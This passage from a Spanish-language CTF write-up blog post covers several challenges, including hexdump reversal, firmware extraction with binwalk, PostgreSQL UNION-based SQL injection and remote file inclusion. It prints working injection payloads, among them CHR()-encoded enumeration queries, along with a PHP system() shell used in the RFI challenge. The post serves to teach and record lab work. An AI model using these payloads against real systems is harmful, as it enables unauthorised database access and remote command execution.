000011a0: 88cf b757 a54a 6bb2 dab7 37cb fb2b 52a4 ...W.Jk...7..+R.
000011b0: 1dd2 7d17 327f 696e 52ff 00bc 331b 4c39 ..}.2.inR...3.L9
000011c0: a276 eb39 78cb 496b f768 ff00 c7c9 e7ab .v.9x.Ik.h......
000011d0: f9fd becd 726d 1805 5ed3 0294 1208 6415 ....rm..^.....d.
000011e0: 11d5 f548 e3a5 f92f bf25 e53f 25e7 1e75 ...H.../.%.?%..u
000011f0: 58de 5b8a 2a51 c0c0 e27d 806b bdeb 8ae0 X.[.*Q...}.k....
00001200: 7a2a a2bd 5daa 391d 49dc 534b 96e1 414f z*..].9.I.SK..AO
00001210: dc41 38c7 b356 a742 54fb 16e7 656f b7f7 .A8..V.BT...eo..
00001220: e181 59d6 53ed 5fab bfdf f239 c84d 3576 ..Y.S._....9.M5v
00001230: 5d76 1d36 b905 ca7c 6447 e452 1b7c 28ab ]v.6...|dG.R.|(.
00001240: 7c92 b5e5 b1e3 ac8c 70c8 1800 9006 75f6 |.......p.....u.
00001250: 8d19 845c 34aa 4374 4832 69ee d2d3 214e ...\4.CtH2i...!N
00001260: b915 2b5a d458 2b53 85c2 33c1 794e 3381 ..+Z.X+S..3.yN3.
00001270: 8c63 3aaf 1b7d f6d8 7586 de71 0d3b 8e51 .c:..}..u..q.;.Q
00001280: 0951 095e 0e46 4797 1a60 a3dd 2ba5 d2c4 .Q.^.FG..`..+...
00001290: 661a 9a5e 4b6b 4a02 a72b c1d2 5408 dfe4 f..^KkJ..+..T...
000012a0: 71f6 803f c58c f1c6 b8f5 3659 c62d 45de q..?......6Y.-E.
000012b0: ff00 84af d399 b436 984a 49c9 5adf 9bdb .......6.JI.Z...
000012c0: a8b7 a6fb b9ca 58a7 511b 7e1c c726 1a3b ......X.Q.~..&.;
000012d0: 3c9b a896 9436 9e2a c650 5b24 f1fe 61fd <....6.*.P[$..a.
000012e0: 350c cc8b 6c32 80f5 26ac b742 46fa 9153 5...l2..&..BF..S
000012f0: 6d29 27ca 402c 1c0f 664f e7a8 e912 1e7c m)'.@,..fO.....|
00001300: a396 79d7 0368 0db7 beb2 adc4 0ea4 8cf5 ..y..h..........
00001310: 019e ad72 e507 5249 b56b 7be8 ce32 9284 ...r..RI.k{..2..
00001320: 5a4e f7f7 d50f d51a 5306 915f 832f 937e ZN......S.._./.~
00001330: 6525 84a8 bacd 21a8 cdb6 e071 09c0 7504 e%....!....q..u.
00001340: 15e4 157d a4f1 ebcf 0e30 f710 34f8 d0e9 ...}.....0..4...
00001350: d029 515c 88f5 35b7 cbe6 305b 8ea9 4d85 .)Q\..5...0[..M.
00001360: 2d61 cc6f 2775 5918 0401 bbc4 75ea 09ea -a.o'uY.....u...
00001370: cd61 e8c2 2bd5 59ce 3011 c986 9521 651b .a..+.Y.0....!e.
00001380: 9c0e ee33 8c70 1c3d 835e 68a9 5451 0154 ...3.p.=.^h.TQ.T
00001390: f44f 9498 6a39 5470 f283 64fb 539c 6b1a .O..j9Tp..d.S.k.
000013a0: 7b3c e3fb 9df9 fe3d fafa 9ace bc25 82b0 {<.....=.....%..
000013b0: e2d3 0cb1 cb72 2cb6 d729 6a85 af71 206f .....r,..)j..q o
000013c0: 28ee e547 1d64 fdfa 4540 0560 28e0 13c4 (..G.d..E@.`(...
000013d0: fdda f713 a667 8cb9 0472 5c81 fad3 fbaf .....g...r\.....
000013e0: e0ff 00d7 d9d5 aee7 a45b 6595 8669 3564 .........[e..i5d
000013f0: 3a52 7714 ba9b 6a48 3e42 4060 647b 323f :Rw...jH>B@`d{2?
00001400: 3d69 4e12 a5e7 7f7d 4a4e 71a9 e561 a6af =iN....}JNq..a..
00001410: 1231 9d72 5255 4a89 1e9f 4d8a a722 4843 .1.rRUJ...M.."HC
00001420: 094b 80a4 a436 a2ee 32be 533d 4490 77b8 .K...6..2.S=D.w.
00001430: 631a 40d7 5bb5 3a8b d09b 82fd 425b b11b c.@.[.:.....B[..
00001440: c6e3 0a79 4509 fc92 4e07 fa6b ade9 16d9 ...yE...N..k....
00001450: 6561 9a4d 590e 949d c52e a6da 920f 9090 ea.MY...........
00001460: 1819 1ecc 8fcf 4a30 9525 67cf de3c fc45 ......J0.%g..<.E
00001470: 59c6 abba e5ef cbc0 689f ce5d 2ea3 9b39 Y.......h..]...9
00001480: 5e57 958d bdb9 9c6e 7268 dede fe5c 6739 ^W.....nrh...\g9
00001490: e18c ebc5 220b 189d 4d62 2948 b956 db0e ...."...Mb)H.V..
000014a0: 2994 afea 71e2 a7c6 0723 0720 7f5d 2cc9 )...q....#. .],.
000014b0: afd7 64c6 f059 35aa 93cc 11bb c939 296a ..d..Y5......9)j
000014c0: 463e ec13 8d71 224c 9434 9651 21d4 b697 F>...q"L.4.Q!...
000014d0: 3954 a02c 8017 d5bc 07df edd6 51d9 6564 9T.,........Q.ed
000014e0: 9bc1 25fd d8d1 ed11 bb69 62db 1dee 1902 ..%......ib.....
000014f0: a0cd d825 4780 9316 a484 b4eb 709a 6dc4 ...%G.......p.m.
00001500: 02eb 80e5 4948 52b2 00ce 49ce a36f 8de8 ....IHR...I..o..
00001510: 9549 f478 b498 ad40 8aa0 1975 3187 29b9 .I.x...@...u1.).
00001520: 91ba e174 0de5 6f70 eb24 78dc 0756 96d7 ...t..op.$x..V..
00001530: 2e5a c3e1 725e 5090 a0b7 c170 9e55 4093 .Z..r^P....p.U@.
00001540: 957d e724 9c9f bf5e 8f54 aa2f 416e 0bb3 .}.$...^.T./An..
00001550: e539 11be 2861 4f28 b69f c939 c0d5 a9ec .9..(aO(...9....
00001560: ce0d 5b0d 17e1 fd4a ceba 9a77 c7fe fe72 ..[....J...w...r
00001570: 1b93 fb16 d7a2 4485 fb34 7554 e205 34d7 ......D..4uT..4.
00001580: 8882 3790 7040 e1d7 c74a 930a 8571 e280 ..7.p@...J...q..
00001590: 0ac4 956e 83f7 ef6b ec6a c55e 2cb7 2646 ...n...k.j.^,.&F
000015a0: aace 664b a375 c79b 90b4 ad63 ee2a 0727 ..fK.u.....c.*.'
000015b0: a87f a6bf 68ac 4b5d 55ba 9548 9ab3 c81c ....h.K]U..H....
000015c0: 3c35 d716 0e3a b242 81e1 d78c e356 8529 <5...:.B.....V.)
000015d0: 41df 1e49 7d08 9d48 cf96 1cdb fa9d bb4c A..I}..H.......L
000015e0: 4444 ddf5 5319 e71c 5aa5 38a9 0952 000d DD..S...Z.8..R..
000015f0: ba56 77d2 939f 1920 f528 84e7 eed1 a85a .Vw.... .(.....Z
00001600: b4b7 a7cb 933a 4a82 9f90 ea9d 7081 8ca9 .....:J.....p...
00001610: 4ac9 ff00 e9d1 af92 f1dc 1c36 ea51 7d29 J..........6.Q})
00001620: afbc 8fa6 f06c 94f6 3a92 5d66 fed1 2ddd .....l..:.]f..-.
00001630: 8eed 4367 d4dd 91d9 b4e9 97c5 a71e 4c5a ..Cg..........LZ
00001640: 0c16 5e69 ead4 76dc 6d69 8e84 a92a 4956 ..^i..v.mi...*IV
00001650: 52a0 4104 1e20 e9ab a5dd 9b7a 7f66 fc7e R.A.. .....z.f.~
00001660: 377b 468d 76e7 561d 2eec dbd3 fb37 e3f1 7{F.v.V......7..
00001670: bbda 3a5d d9b7 a7f6 6fc7 e377 b468 d007 ..:]....o..w.h..
00001680: 4bbb 36f4 fecd f8fc 6ef6 8e97 766d e9fd K.6.....n...vm..
00001690: 9bf1 f8dd ed1a 3401 d2ee cdbd 3fb3 7e3f ......4.....?.~?
000016a0: 1bbd a3a5 dd9b 7a7f 66fc 7e37 7b46 8d00 ......z.f.~7{F..
000016b0: 74bb b36f 4fec df8f c6ef 68e9 7766 de9f t..oO.....h.wf..
000016c0: d9bf 1f8d ded1 a340 1d2e ecdb d3fb 37e3 .......@......7.
000016d0: f1bb da3a 5dd9 b7a7 f66f c7e3 77b4 68d0 ...:]....o..w.h.
000016e0: 074b bb36 f4fe cdf8 fc6e f68e 9776 6de9 .K.6.....n...vm.
000016f0: fd9b f1f8 dded 1a34 01d2 eecd bd3f b37e .......4.....?.~
00001700: 3f1b bda3 a5dd 9b7a 7f66 fc7e 377b 468d ?......z.f.~7{F.
00001710: 0074 bbb3 6f4f ecdf 8fc6 ef68 e977 66de .t..oO.....h.wf.
00001720: 9fd9 bf1f 8dde d1a3 401d 2eec dbd3 fb37 ........@......7
00001730: e3f1 bbda 3a5d d9b7 a7f6 6fc7 e377 b468 ....:]....o..w.h
00001740: d007 4bbb 36f4 fecd f8fc 6ef6 8e97 766d ..K.6.....n...vm
00001750: e9fd 9bf1 f8dd ed1a 3401 d2ee cdbd 3fb3 ........4.....?.
00001760: 7e3f 1bbd a3a5 dd9b 7a7f 66fc 7e37 7b46 ~?......z.f.~7{F
00001770: 8d00 74bb b36f 4fec df8f c6ef 68e9 7766 ..t..oO.....h.wf
00001780: de9f d9bf 1f8d ded1 a340 56ff 0049 bbbe .........@V..I..
00001790: dabf 361f 70da 9685 c146 b82b 73bc 1bc1 ..6.p....F.+s...
000017a0: a9d4 89ed cd94 f6e4 969c 5ee3 2d92 b5e1 ..........^.-...
000017b0: 0852 8e07 04a4 93c0 1d1a 3468 0fff d9 .R........4h...
como podemos observar, se trata de un hexdump, podriamos revertirlo con xxd:
xxd -r file_5e9666c7a0773f3785123f19986b4c5f > myfile
el cual nos da una imagen:
y directamente nos da la flag
flag{FL4g_Facil_o_Difici1}
4.-
SQLi
solución:
bueno... nos dio un login con captcha de google, realmente odie este reto y ni que decir de mi equipo, gracias @crhystamil :) jejeje, pero, continuemos, claramente se trataba de hacer una inyeccion SQL, sin embargo probamos con el tipico admin:admin el cual nos daba una respuesta de Buen_Intento_Pero_EsteNo_esEl_Flag, con esto se podia deducir que era un usuario valido pero no el que buscamos.
Despues de varios intentos con sentencias MySql... probe con Postgres con admin como password, para cumplir una consulta valida por supuesto
-' UNION ALL SELECT NULL,NULL,current_database(),NULL--
nos responde con ctf :D
Ahora continuamos intentando llamar a las tablas existentes.
-' UNION ALL SELECT NULL,NULL,table_name,NULL FROM information_schema.tables LIMIT 1 OFFSET 0--
respuesta: users
por suerte nos salta la tabla que queremos al primer intento, sin embargo, no nos deja hacer las peticiones directamente, sino mas bien encodeandola.
users => CHR(117)||CHR(115)||CHR(101)||CHR(114)||CHR(115)
Lo cual seria en base ASCII.
Quedaria algo asi:
-' UNION ALL SELECT NULL,NULL,column_name,NULL FROM information_schema.columns where table_name=CHR(117)||CHR(115)||CHR(101)||CHR(114)||CHR(115) LIMIT 1 OFFSET 0--
Entonces en las respuestas vamos enumerando aumentando el OFFSET, las columnas que pueden sernos utiles: id, users, pass, flag. Con esta ultima ya vamos a un solo paso de lograrla, sin embargo...
-' UNION ALL SELECT NULL,NULL,flag,NULL FROM ctf.public.users LIMIT 1 OFFSET 29--
La respuesta se encontraba hasta el intento 29, nuevamente gracias @crhystamil.
la flag:
DJC{Buen_Intento_esEl_Flag}
5.-
Cuidado con ejecutar todo
en este caso nos da un host en el cual esta ejecutando hasta las imagenes que tiene, lo cual es una mala practica obviamente, nos da la puerta a un RFI, asi que desde un servidor remoto tratamos de ubicar la flag con una shell rapida
<?php
system(‘ls’);
?>
el cual nos muestra los archivos en el directorio actual, en el cual existia un archivo el cual al leerlo nos daba el flag, simplemente cambiando el la URL por el archivo que lo contiene -2s3d5f6g7g549fy4nfp734lk37-
La flag:
flag{3hc_gr0up_h4ck1ng_Dragonjar}
6.-
análisis de firmware
nos dan una imagen para analizarla: open-hacking_151b4da179e4163e7e879da22e0c76e2.bin
La cual podremos analizarla para extraer los archivos que contenga con Binwalk
binwalk -Me open-hacking_151b4da179e4163e7e879da22e0c76e2.bin
Entones podemos analizar, y conseguimos la flag:
bandera{43320192606d672bf0db1280026c799902f03bdd}
creo que eso seria :D sin embargo no son todos los problemas, no pudimos completarlos :( si @crhystamil pone de vuelta en linea los problemas, podriamos escribir una segunda parte ;)
el siguiente write up es el de CIDSI! pronto!
-Hackers are People Too 😜
links de la Serie
- El anterior WriteUp(CIDSI Demo WriteUp)
Comentarios: